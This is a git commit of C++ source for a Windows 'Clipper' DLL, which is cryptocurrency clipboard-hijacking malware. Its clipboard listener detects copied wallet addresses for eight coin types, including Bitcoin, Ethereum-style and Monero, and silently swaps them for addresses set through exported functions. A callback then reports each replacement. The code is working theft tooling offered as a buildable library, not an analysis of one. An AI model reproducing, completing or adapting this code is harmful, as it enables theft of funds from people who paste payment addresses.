initial commit

This commit is contained in:
i2p
2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
+58
View File
@@ -0,0 +1,58 @@
cmake_minimum_required(VERSION 3.31)
project(Clipper LANGUAGES CXX)
set(CMAKE_CXX_STANDARD 23)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CLIPPER_BUILD_TEST "HEADER_ONLY"
CACHE STRING "Test build mode: STATIC, HEADER_ONLY, NO"
)
set_property(CACHE CLIPPER_BUILD_TEST PROPERTY STRINGS STATIC HEADER_ONLY NO)
add_library(ClipperCommon OBJECT
src/Clipper.h
src/WindowClassManager.hpp
src/ClipboardOperations.hpp
src/Clipboard.hpp
src/AddressManager.hpp
src/CallbackManager.hpp
src/CryptocurrencyValidator.hpp
src/CallbackManager.hpp
src/ClipperImpl.hpp
src/Clipper.cpp
src/WindowClassManager.cpp
src/ClipboardOperations.cpp
src/Clipboard.cpp
src/AddressManager.cpp
src/CallbackManager.cpp
src/CryptocurrencyValidator.cpp
src/ClipperImpl.cpp
)
add_library(Clipper SHARED
$<TARGET_OBJECTS:ClipperCommon>
src/DllMain.cpp
)
target_compile_definitions(ClipperCommon PRIVATE DLL_BUILD)
if (CLIPPER_BUILD_TEST STREQUAL "STATIC")
add_executable(ClipperTest
$<TARGET_OBJECTS:ClipperCommon>
src/ClipperTest.cpp
)
target_compile_definitions(ClipperTest PRIVATE TEST_STATIC_BUILD)
elseif (CLIPPER_BUILD_TEST STREQUAL "HEADER_ONLY")
add_executable(ClipperTest
src/Clipper.h
src/ClipperTest.cpp
)
elseif (CLIPPER_BUILD_TEST STREQUAL "NO")
else()
message(FATAL_ERROR
"Invalid value for CLIPPER_BUILD_TEST: ${CLIPPER_BUILD_TEST}\n"
"Valid values: STATIC, HEADER_ONLY, NO"
)
endif()
+161
View File
@@ -0,0 +1,161 @@
#include "AddressManager.hpp"
#include "CryptocurrencyValidator.hpp"
AddressManager::AddressManager()
{
InitializeSRWLock(&mLock);
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
mIsSet[i] = false;
}
bool AddressManager::SetAddress(Cryptocurrency type, const std::wstring& address)
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForWrite();
mAddresses[index] = address;
mIsSet[index] = true;
UnlockFromWrite();
return true;
}
std::wstring AddressManager::GetAddress(Cryptocurrency type) const
{
if (!IsValidType(type))
return {};
size_t index = GetTypeIndex(type);
LockForRead();
std::wstring result = mAddresses[index];
UnlockFromRead();
return result;
}
bool AddressManager::HasAddress(Cryptocurrency type) const
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForRead();
bool result = mIsSet[index];
UnlockFromRead();
return result;
}
bool AddressManager::IsAddressSet(Cryptocurrency type) const
{
return HasAddress(type);
}
bool AddressManager::RemoveAddress(Cryptocurrency type)
{
if (!IsValidType(type))
return false;
size_t index = GetTypeIndex(type);
LockForWrite();
mAddresses[index].clear();
mIsSet[index] = false;
UnlockFromWrite();
return true;
}
void AddressManager::ClearAllAddresses()
{
LockForWrite();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
mAddresses[i].clear();
mIsSet[i] = false;
}
UnlockFromWrite();
}
size_t AddressManager::GetConfiguredCount() const
{
size_t count = 0;
LockForRead();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
if (mIsSet[i])
count++;
}
UnlockFromRead();
return count;
}
std::vector<Cryptocurrency> AddressManager::GetConfiguredTypes() const
{
std::vector<Cryptocurrency> types;
LockForRead();
for (size_t i = 0; i < Cryptocurrency::ElementsCount; ++i)
{
if (mIsSet[i])
types.push_back(static_cast<Cryptocurrency>(i));
}
UnlockFromRead();
return types;
}
bool AddressManager::ValidateAndSet(Cryptocurrency type, const std::wstring& address)
{
if (!IsValidType(type))
return false;
if (!CryptocurrencyValidator::Validate(type, address))
return false;
return SetAddress(type, address);
}
bool AddressManager::IsValidType(Cryptocurrency type) const
{
return static_cast<size_t>(type) < Cryptocurrency::ElementsCount;
}
size_t AddressManager::GetTypeIndex(Cryptocurrency type) const
{
return static_cast<size_t>(type);
}
void AddressManager::LockForRead() const
{
AcquireSRWLockShared(&mLock);
}
void AddressManager::UnlockFromRead() const
{
ReleaseSRWLockShared(&mLock);
}
void AddressManager::LockForWrite()
{
AcquireSRWLockExclusive(&mLock);
}
void AddressManager::UnlockFromWrite()
{
ReleaseSRWLockExclusive(&mLock);
}
+41
View File
@@ -0,0 +1,41 @@
#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>
#include <array>
#include <vector>
class AddressManager
{
public:
AddressManager();
~AddressManager() noexcept = default;
bool SetAddress(Cryptocurrency type, const std::wstring& address);
std::wstring GetAddress(Cryptocurrency type) const;
bool HasAddress(Cryptocurrency type) const;
bool IsAddressSet(Cryptocurrency type) const;
bool RemoveAddress(Cryptocurrency type);
void ClearAllAddresses();
size_t GetConfiguredCount() const;
std::vector<Cryptocurrency> GetConfiguredTypes() const;
bool ValidateAndSet(Cryptocurrency type, const std::wstring& address);
private:
bool IsValidType(Cryptocurrency type) const;
size_t GetTypeIndex(Cryptocurrency type) const;
void LockForRead() const;
void UnlockFromRead() const;
void LockForWrite();
void UnlockFromWrite();
std::array<std::wstring, Cryptocurrency::ElementsCount> mAddresses;
std::array<bool, Cryptocurrency::ElementsCount> mIsSet;
mutable SRWLOCK mLock;
};
+147
View File
@@ -0,0 +1,147 @@
#include "CallbackManager.hpp"
CallbackManager::CallbackManager() : mCallback(nullptr), mInvocationCount(0)
{
InitializeSRWLock(&mLock);
}
bool CallbackManager::SetCallback(ClipperActivationCallback callback)
{
if (!ValidateCallback(callback))
return false;
LockForWrite();
mCallback = callback;
UnlockFromWrite();
return true;
}
ClipperActivationCallback CallbackManager::GetCallback() const
{
LockForRead();
ClipperActivationCallback callback = mCallback;
UnlockFromRead();
return callback;
}
bool CallbackManager::HasCallback() const
{
LockForRead();
bool result = IsCallbackValid();
UnlockFromRead();
return result;
}
void CallbackManager::ClearCallback()
{
LockForWrite();
mCallback = nullptr;
UnlockFromWrite();
}
void CallbackManager::InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
{
LockForRead();
ClipperActivationCallback callback = mCallback;
UnlockFromRead();
if (callback)
{
callback(currency, replaced, replacement);
IncrementInvocationCount();
}
}
void CallbackManager::InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement)
{
CallbackInvocationData data = CreateInvocationData(currency, replaced, replacement);
if (!ValidateInvocationData(data))
return;
InvokeCallback(currency, replaced, replacement);
}
bool CallbackManager::ValidateCallback(ClipperActivationCallback callback) const
{
return callback != nullptr;
}
size_t CallbackManager::GetInvocationCount() const
{
LockForRead();
size_t count = mInvocationCount;
UnlockFromRead();
return count;
}
void CallbackManager::ResetInvocationCount()
{
LockForWrite();
mInvocationCount = 0;
UnlockFromWrite();
}
void CallbackManager::LockForRead() const
{
AcquireSRWLockShared(&mLock);
}
void CallbackManager::UnlockFromRead() const
{
ReleaseSRWLockShared(&mLock);
}
void CallbackManager::LockForWrite()
{
AcquireSRWLockExclusive(&mLock);
}
void CallbackManager::UnlockFromWrite()
{
ReleaseSRWLockExclusive(&mLock);
}
bool CallbackManager::IsCallbackValid() const
{
return mCallback != nullptr;
}
void CallbackManager::IncrementInvocationCount()
{
LockForWrite();
mInvocationCount++;
UnlockFromWrite();
}
CallbackInvocationData CallbackManager::CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const
{
CallbackInvocationData data;
data.Currency = currency;
if (replaced)
data.ReplacedAddress = replaced;
if (replacement)
data.ReplacementAddress = replacement;
return data;
}
bool CallbackManager::ValidateInvocationData(const CallbackInvocationData& data) const
{
if (static_cast<size_t>(data.Currency) >= Cryptocurrency::ElementsCount)
return false;
if (data.ReplacedAddress.empty())
return false;
if (data.ReplacementAddress.empty())
return false;
return true;
}
+47
View File
@@ -0,0 +1,47 @@
#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>
struct CallbackInvocationData
{
Cryptocurrency Currency;
std::wstring ReplacedAddress;
std::wstring ReplacementAddress;
};
class CallbackManager
{
public:
CallbackManager();
~CallbackManager() noexcept = default;
bool SetCallback(ClipperActivationCallback callback);
ClipperActivationCallback GetCallback() const;
bool HasCallback() const;
void ClearCallback();
void InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
void InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
bool ValidateCallback(ClipperActivationCallback callback) const;
size_t GetInvocationCount() const;
void ResetInvocationCount();
private:
void LockForRead() const;
void UnlockFromRead() const;
void LockForWrite();
void UnlockFromWrite();
bool IsCallbackValid() const;
void IncrementInvocationCount();
CallbackInvocationData CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const;
bool ValidateInvocationData(const CallbackInvocationData& data) const;
ClipperActivationCallback mCallback;
size_t mInvocationCount;
mutable SRWLOCK mLock;
};
+160
View File
@@ -0,0 +1,160 @@
#include "Clipboard.hpp"
#include "ClipboardOperations.hpp"
std::unique_ptr<Clipboard> Clipboard::sInstance = nullptr;
void Clipboard::Initialize(const wchar_t* windowClassName)
{
if (!sInstance)
sInstance.reset(new Clipboard(windowClassName));
}
void Clipboard::SetCallback(OnClipboardContentChangedCallback callback)
{
if (!sInstance)
return;
AcquireSRWLockExclusive(&sInstance->mCallbackLock);
sInstance->mCallback = std::move(callback);
ReleaseSRWLockExclusive(&sInstance->mCallbackLock);
}
void Clipboard::SetClipboardText(const std::wstring& newText)
{
if (!sInstance)
return;
sInstance->SetClipboardTextImpl(newText);
}
std::wstring Clipboard::GetClipboardText()
{
if (!sInstance)
return {};
return sInstance->GetClipboardTextImpl();
}
Clipboard::Clipboard(const wchar_t* windowClassName) : mWindowsClassName(windowClassName)
{
InitializeSRWLock(&mCallbackLock);
mhReadyEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
mWindowClassManager = std::make_unique<WindowClassManager>(windowClassName);
mhThread = CreateThread(nullptr, 0, ThreadProcStatic, this, 0, nullptr);
WaitForSingleObject(mhReadyEvent, INFINITE);
CloseHandle(mhReadyEvent);
mhReadyEvent = nullptr;
}
Clipboard::~Clipboard()
{
if (mhWindow)
PostMessageW(mhWindow, WM_QUIT, 0, 0);
if (mhThread)
{
WaitForSingleObject(mhThread, INFINITE);
CloseHandle(mhThread);
}
}
DWORD WINAPI Clipboard::ThreadProcStatic(LPVOID lpParam)
{
auto* clipboard = static_cast<Clipboard*>(lpParam);
clipboard->ThreadMain();
return 0;
}
void Clipboard::ThreadMain()
{
if (!mWindowClassManager->Register(WndProc))
{
SetEvent(mhReadyEvent);
return;
}
mhWindow = CreateWindowExW(0, mWindowsClassName.c_str(), nullptr, 0, 0, 0, 0, 0, HWND_MESSAGE, nullptr, GetModuleHandleW(nullptr), nullptr);
if (!mhWindow)
{
mWindowClassManager->Unregister();
SetEvent(mhReadyEvent);
return;
}
SetWindowLongPtrW(mhWindow, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(this));
if (!AddClipboardFormatListener(mhWindow))
{
DestroyWindow(mhWindow);
mWindowClassManager->Unregister();
SetEvent(mhReadyEvent);
return;
}
SetEvent(mhReadyEvent);
MSG msg;
while (GetMessageW(&msg, nullptr, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
RemoveClipboardFormatListener(mhWindow);
DestroyWindow(mhWindow);
mWindowClassManager->Unregister();
}
LRESULT CALLBACK Clipboard::WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg != WM_CLIPBOARDUPDATE)
return DefWindowProcW(hwnd, msg, wParam, lParam);
auto* self = reinterpret_cast<Clipboard*>(GetWindowLongPtrW(hwnd, GWLP_USERDATA));
if (self && self->mCallback)
{
std::wstring text = self->GetClipboardTextImpl();
if (!text.empty())
{
AcquireSRWLockShared(&self->mCallbackLock);
auto callback = self->mCallback;
ReleaseSRWLockShared(&self->mCallbackLock);
callback(text);
}
}
return 0;
}
void Clipboard::SetClipboardTextImpl(const std::wstring& newText)
{
if (!mhWindow || !OpenClipboard(mhWindow))
return;
EmptyClipboard();
HGLOBAL hMem = ClipboardOperations::CreateTextData(newText);
if (hMem)
SetClipboardData(CF_UNICODETEXT, hMem);
CloseClipboard();
}
std::wstring Clipboard::GetClipboardTextImpl()
{
if (!mhWindow || !OpenClipboard(mhWindow))
return {};
std::wstring text;
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
if (hData)
text = ClipboardOperations::ExtractTextData(hData);
CloseClipboard();
return text;
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include "WindowClassManager.hpp"
#include <Windows.h>
#include <functional>
#include <memory>
#include <string>
using OnClipboardContentChangedCallback = std::function<void(const std::wstring& content)>;
class Clipboard
{
friend std::default_delete<Clipboard>;
public:
static void Initialize(const wchar_t* windowClassName);
static void SetCallback(OnClipboardContentChangedCallback callback);
static void SetClipboardText(const std::wstring& newText);
static std::wstring GetClipboardText();
private:
Clipboard(const wchar_t* windowClassName);
~Clipboard();
static DWORD WINAPI ThreadProcStatic(LPVOID lpParam);
void ThreadMain();
static LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
void SetClipboardTextImpl(const std::wstring& newText);
std::wstring GetClipboardTextImpl();
std::unique_ptr<WindowClassManager> mWindowClassManager;
HWND mhWindow = nullptr;
HANDLE mhThread = nullptr;
HANDLE mhReadyEvent = nullptr;
const std::wstring mWindowsClassName;
OnClipboardContentChangedCallback mCallback = nullptr;
SRWLOCK mCallbackLock;
static std::unique_ptr<Clipboard> sInstance;
};
+108
View File
@@ -0,0 +1,108 @@
#include "ClipboardOperations.hpp"
HGLOBAL ClipboardOperations::AllocateMemory(size_t size)
{
return GlobalAlloc(GMEM_MOVEABLE, size);
}
void ClipboardOperations::FreeMemory(HGLOBAL hMem)
{
if (hMem)
GlobalFree(hMem);
}
void* ClipboardOperations::LockMemory(HGLOBAL hMem)
{
if (!hMem)
return nullptr;
return GlobalLock(hMem);
}
bool ClipboardOperations::UnlockMemory(HGLOBAL hMem)
{
if (!hMem)
return false;
return GlobalUnlock(hMem) || GetLastError() == NO_ERROR;
}
size_t ClipboardOperations::GetMemorySize(HGLOBAL hMem)
{
if (!hMem)
return 0;
return GlobalSize(hMem);
}
bool ClipboardOperations::IsMemoryValid(HGLOBAL hMem)
{
return hMem != nullptr && GetMemorySize(hMem) > 0;
}
bool ClipboardOperations::CopyToMemory(HGLOBAL hMem, const void* data, size_t size)
{
if (!hMem || !data || size == 0)
return false;
void* pLocked = LockMemory(hMem);
if (!pLocked)
return false;
memcpy(pLocked, data, size);
UnlockMemory(hMem);
return true;
}
bool ClipboardOperations::CopyFromMemory(void* dest, HGLOBAL hMem, size_t size)
{
if (!dest || !hMem || size == 0)
return false;
void* pLocked = LockMemory(hMem);
if (!pLocked)
return false;
memcpy(dest, pLocked, size);
UnlockMemory(hMem);
return true;
}
HGLOBAL ClipboardOperations::CreateTextData(const std::wstring& text)
{
size_t size = CalculateTextSize(text);
HGLOBAL hMem = AllocateMemory(size);
if (!hMem)
return nullptr;
if (!CopyToMemory(hMem, text.c_str(), size))
{
FreeMemory(hMem);
return nullptr;
}
return hMem;
}
std::wstring ClipboardOperations::ExtractTextData(HGLOBAL hData)
{
if (!hData)
return {};
wchar_t* pText = static_cast<wchar_t*>(LockMemory(hData));
if (!pText)
return {};
std::wstring result = pText;
UnlockMemory(hData);
return result;
}
size_t ClipboardOperations::CalculateTextSize(const std::wstring& text)
{
return (text.size() + 1) * sizeof(wchar_t);
}
+25
View File
@@ -0,0 +1,25 @@
#pragma once
#include <Windows.h>
#include <string>
class ClipboardOperations
{
public:
static HGLOBAL AllocateMemory(size_t size);
static void FreeMemory(HGLOBAL hMem);
static void* LockMemory(HGLOBAL hMem);
static bool UnlockMemory(HGLOBAL hMem);
static size_t GetMemorySize(HGLOBAL hMem);
static bool IsMemoryValid(HGLOBAL hMem);
static bool CopyToMemory(HGLOBAL hMem, const void* data, size_t size);
static bool CopyFromMemory(void* dest, HGLOBAL hMem, size_t size);
static HGLOBAL CreateTextData(const std::wstring& text);
static std::wstring ExtractTextData(HGLOBAL hData);
private:
static size_t CalculateTextSize(const std::wstring& text);
};
+12
View File
@@ -0,0 +1,12 @@
#include "Clipper.h"
#include "ClipperImpl.hpp"
int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address)
{
return Clipper::SetWalletAddress(currency, address);
}
int clipper_set_on_activation_callback(ClipperActivationCallback callback)
{
return Clipper::SetCallback(callback);
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#ifdef DLL_BUILD
#define DLL_API __declspec(dllexport)
#else
#define DLL_API
#endif
enum Cryptocurrency
{
Bitcoin, // BTC
EVM, // ETH, USDT, USDC, BNB
Monero, // XMR
Litecoin, // LTC
Tron, // USDT, TRX
Solana, // SOL
Ripple, // XRP
Dogecoin, // DOGE
ElementsCount
};
typedef void(*ClipperActivationCallback)(Cryptocurrency currency, const wchar_t* replacedAddress, const wchar_t* replacementAddress);
extern "C" DLL_API int clipper_set_wallet_address(Cryptocurrency currency, const wchar_t* address); // bool
extern "C" DLL_API int clipper_set_on_activation_callback(ClipperActivationCallback callback); // bool
+81
View File
@@ -0,0 +1,81 @@
#include "ClipperImpl.hpp"
#include "Clipboard.hpp"
#include "CryptocurrencyValidator.hpp"
#include <optional>
Clipper::Clipper()
{
wchar_t s[] = { static_cast<wchar_t>(__TIME__[6]), L'X', static_cast<wchar_t>(__TIME__[7]), L'\0' };
Clipboard::Initialize(s);
}
Clipper& Clipper::GetInstance()
{
static Clipper instance;
return instance;
}
std::optional<Cryptocurrency> Clipper::IsCryptocurrencyAddress(const std::wstring& text)
{
if (CryptocurrencyValidator::Validate(Cryptocurrency::EVM, text))
return Cryptocurrency::EVM;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Bitcoin, text))
return Cryptocurrency::Bitcoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Litecoin, text))
return Cryptocurrency::Litecoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Tron, text))
return Cryptocurrency::Tron;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Ripple, text))
return Cryptocurrency::Ripple;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Dogecoin, text))
return Cryptocurrency::Dogecoin;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Monero, text))
return Cryptocurrency::Monero;
if (CryptocurrencyValidator::Validate(Cryptocurrency::Solana, text))
return Cryptocurrency::Solana;
return std::nullopt;
}
bool Clipper::SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept
{
if (static_cast<size_t>(cryptocurrency) >= Cryptocurrency::ElementsCount || !address)
return false;
std::wstring walletAdress = address;
return GetInstance().mAddressManager.ValidateAndSet(cryptocurrency, walletAdress);
}
bool Clipper::SetCallback(ClipperActivationCallback callback) noexcept
{
if (!callback)
return false;
if (!GetInstance().mCallbackManager.SetCallback(callback))
return false;
OnClipboardContentChangedCallback callbackWithValidation = [&](const std::wstring& content) -> void {
auto cryptocurrency = IsCryptocurrencyAddress(content);
if (!cryptocurrency)
return;
std::wstring address = GetInstance().mAddressManager.GetAddress(cryptocurrency.value());
// prevent recursion
if (address == content)
return;
Clipboard::SetClipboardText(address);
GetInstance().mCallbackManager.InvokeCallback(cryptocurrency.value(), content.c_str(), address.c_str());
};
Clipboard::SetCallback(callbackWithValidation);
return true;
}
+23
View File
@@ -0,0 +1,23 @@
#pragma once
#include "Clipper.h"
#include "AddressManager.hpp"
#include "CallbackManager.hpp"
#include <array>
#include <optional>
#include <string>
class Clipper
{
public:
static bool SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept;
static bool SetCallback(ClipperActivationCallback callback) noexcept;
private:
Clipper();
static Clipper& GetInstance();
static std::optional<Cryptocurrency> IsCryptocurrencyAddress(const std::wstring& text);
AddressManager mAddressManager;
CallbackManager mCallbackManager;
};
+3
View File
@@ -0,0 +1,3 @@
int main(int argc, char** argv)
{
}
+339
View File
@@ -0,0 +1,339 @@
#include "CryptocurrencyValidator.hpp"
static const std::wstring kBase58Characters = L"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
static const std::wstring kHexCharacters = L"0123456789abcdefABCDEF";
static const std::wstring kBech32Characters = L"0123456789abcdefghijklmnopqrstuvwxyz";
bool CryptocurrencyValidator::Validate(Cryptocurrency type, const std::wstring& address)
{
if (address.empty())
return false;
switch (type)
{
case Cryptocurrency::Bitcoin:
return ValidateBitcoin(address);
case Cryptocurrency::EVM:
return ValidateEVM(address);
case Cryptocurrency::Monero:
return ValidateMonero(address);
case Cryptocurrency::Litecoin:
return ValidateLitecoin(address);
case Cryptocurrency::Tron:
return ValidateTron(address);
case Cryptocurrency::Solana:
return ValidateSolana(address);
case Cryptocurrency::Ripple:
return ValidateRipple(address);
case Cryptocurrency::Dogecoin:
return ValidateDogecoin(address);
default:
return false;
}
}
bool CryptocurrencyValidator::ValidateBitcoin(const std::wstring& address)
{
if (ValidateBitcoinLegacy(address))
return true;
if (ValidateBitcoinSegWit(address))
return true;
if (ValidateBitcoinNative(address))
return true;
return false;
}
bool CryptocurrencyValidator::ValidateBitcoinLegacy(const std::wstring& address)
{
if (!CheckBitcoinLegacyPrefix(address))
return false;
if (!CheckAddressLength(address, 26, 35))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateBitcoinSegWit(const std::wstring& address)
{
if (!CheckBitcoinSegWitPrefix(address))
return false;
if (!CheckAddressLength(address, 26, 35))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateBitcoinNative(const std::wstring& address)
{
if (address.length() < 42 || address.length() > 62)
return false;
if (address.substr(0, 3) != L"bc1")
return false;
static const std::wregex pattern(L"^bc1[a-zA-HJ-NP-Z0-9]{39,59}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateEVM(const std::wstring& address)
{
if (address.length() != 42)
return false;
if (address.substr(0, 2) != L"0x" && address.substr(0, 2) != L"0X")
return false;
std::wstring hexPart = address.substr(2);
if (!CheckHexFormat(hexPart))
return false;
if (hexPart.length() != 40)
return false;
return true;
}
bool CryptocurrencyValidator::ValidateMonero(const std::wstring& address)
{
if (address.length() != 95 && address.length() != 106)
return false;
wchar_t firstChar = address[0];
if (firstChar != L'4' && firstChar != L'8')
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^[48][1-9A-HJ-NP-Za-km-z]{94}|^[48][1-9A-HJ-NP-Za-km-z]{105}$");
return std::regex_match(address, pattern);
}
bool CryptocurrencyValidator::ValidateLitecoin(const std::wstring& address)
{
if (ValidateLitecoinLegacy(address))
return true;
if (ValidateLitecoinSegWit(address))
return true;
return false;
}
bool CryptocurrencyValidator::ValidateLitecoinLegacy(const std::wstring& address)
{
if (!CheckLitecoinLegacyPrefix(address))
return false;
if (!CheckAddressLength(address, 27, 34))
return false;
if (!CheckBase58Format(address))
return false;
return true;
}
bool CryptocurrencyValidator::ValidateLitecoinSegWit(const std::wstring& address)
{
if (address.length() < 11 || address.length() > 90)
return false;
if (address.substr(0, 4) != L"ltc1")
return false;
static const std::wregex pattern(L"^ltc1[a-zA-HJ-NP-Z0-9]{8,87}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateTron(const std::wstring& address)
{
if (!CheckTronPrefix(address))
return false;
if (address.length() != 34)
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^T[1-9A-HJ-NP-Za-km-z]{33}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateSolana(const std::wstring& address)
{
if (!CheckAddressLength(address, 32, 44))
return false;
wchar_t firstChar = address[0];
if (firstChar == L'r') // XRP
return false;
if (firstChar == L'D') // DOGE
return false;
if (firstChar == L'T') // TRON
return false;
if (firstChar == L'4' || firstChar == L'8') // Monero
return false;
if (firstChar == L'1' || firstChar == L'3') // Bitcoin legacy
return false;
if (firstChar == L'L' || firstChar == L'M') // Litecoin
return false;
if (firstChar == L'0') // EVM
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^[1-9A-HJ-NP-Za-km-z]{32,44}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateRipple(const std::wstring& address)
{
if (address.empty() || address[0] != L'r')
return false;
if (!CheckAddressLength(address, 25, 35))
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^r[0-9a-zA-Z]{24,34}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::ValidateDogecoin(const std::wstring& address)
{
if (!CheckDogecoinPrefix(address))
return false;
if (address.length() != 34)
return false;
if (address[0] != L'D')
return false;
wchar_t secondChar = address[1];
if (!(secondChar >= L'5' && secondChar <= L'9') &&
!(secondChar >= L'A' && secondChar <= L'H') &&
!(secondChar >= L'J' && secondChar <= L'N') &&
!(secondChar >= L'P' && secondChar <= L'U'))
return false;
if (!CheckBase58Format(address))
return false;
static const std::wregex pattern(L"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$");
return MatchesPattern(address, pattern);
}
bool CryptocurrencyValidator::CheckBitcoinLegacyPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'1' || firstChar == L'3';
}
bool CryptocurrencyValidator::CheckBitcoinSegWitPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'3';
}
bool CryptocurrencyValidator::CheckLitecoinLegacyPrefix(const std::wstring& address)
{
if (address.empty())
return false;
wchar_t firstChar = address[0];
return firstChar == L'L' || firstChar == L'M' || firstChar == L'3';
}
bool CryptocurrencyValidator::CheckTronPrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'T';
}
bool CryptocurrencyValidator::CheckRipplePrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'r';
}
bool CryptocurrencyValidator::CheckDogecoinPrefix(const std::wstring& address)
{
if (address.empty())
return false;
return address[0] == L'D';
}
bool CryptocurrencyValidator::CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen)
{
size_t len = address.length();
return len >= minLen && len <= maxLen;
}
bool CryptocurrencyValidator::CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars)
{
for (wchar_t ch : address)
{
if (allowedChars.find(ch) == std::wstring::npos)
return false;
}
return true;
}
bool CryptocurrencyValidator::CheckHexFormat(const std::wstring& address)
{
return CheckCharacterSet(address, kHexCharacters);
}
bool CryptocurrencyValidator::CheckBase58Format(const std::wstring& address)
{
return CheckCharacterSet(address, kBase58Characters);
}
bool CryptocurrencyValidator::MatchesPattern(const std::wstring& address, const std::wregex& pattern)
{
return std::regex_match(address, pattern);
}
+41
View File
@@ -0,0 +1,41 @@
#pragma once
#include "Clipper.h"
#include <string>
#include <regex>
class CryptocurrencyValidator
{
public:
static bool Validate(Cryptocurrency type, const std::wstring& address);
static bool ValidateBitcoin(const std::wstring& address);
static bool ValidateEVM(const std::wstring& address);
static bool ValidateMonero(const std::wstring& address);
static bool ValidateLitecoin(const std::wstring& address);
static bool ValidateTron(const std::wstring& address);
static bool ValidateSolana(const std::wstring& address);
static bool ValidateRipple(const std::wstring& address);
static bool ValidateDogecoin(const std::wstring& address);
private:
static bool ValidateBitcoinLegacy(const std::wstring& address);
static bool ValidateBitcoinSegWit(const std::wstring& address);
static bool ValidateBitcoinNative(const std::wstring& address);
static bool ValidateLitecoinLegacy(const std::wstring& address);
static bool ValidateLitecoinSegWit(const std::wstring& address);
static bool CheckBitcoinLegacyPrefix(const std::wstring& address);
static bool CheckBitcoinSegWitPrefix(const std::wstring& address);
static bool CheckLitecoinLegacyPrefix(const std::wstring& address);
static bool CheckTronPrefix(const std::wstring& address);
static bool CheckRipplePrefix(const std::wstring& address);
static bool CheckDogecoinPrefix(const std::wstring& address);
static bool CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen);
static bool CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars);
static bool CheckHexFormat(const std::wstring& address);
static bool CheckBase58Format(const std::wstring& address);
static bool MatchesPattern(const std::wstring& address, const std::wregex& pattern);
};
+21
View File
@@ -0,0 +1,21 @@
#include <Windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+104
View File
@@ -0,0 +1,104 @@
#include "WindowClassManager.hpp"
WindowClassManager::WindowClassManager(const std::wstring& className) : mClassName(className), mhInstance(GetModuleHandleW(nullptr)), mIsRegistered(false)
{
}
WindowClassManager::~WindowClassManager()
{
if (mIsRegistered)
Unregister();
}
bool WindowClassManager::Register(WNDPROC wndProc)
{
if (mIsRegistered)
return true;
if (!wndProc)
return false;
WNDCLASSEXW wc = CreateWindowClass(wndProc);
return RegisterWindowClass(wc);
}
bool WindowClassManager::Unregister()
{
if (!mIsRegistered)
return true;
return UnregisterWindowClass();
}
bool WindowClassManager::IsRegistered() const
{
return mIsRegistered;
}
std::wstring WindowClassManager::GetWindowClassName() const
{
return mClassName;
}
HINSTANCE WindowClassManager::GetInstance() const
{
return mhInstance;
}
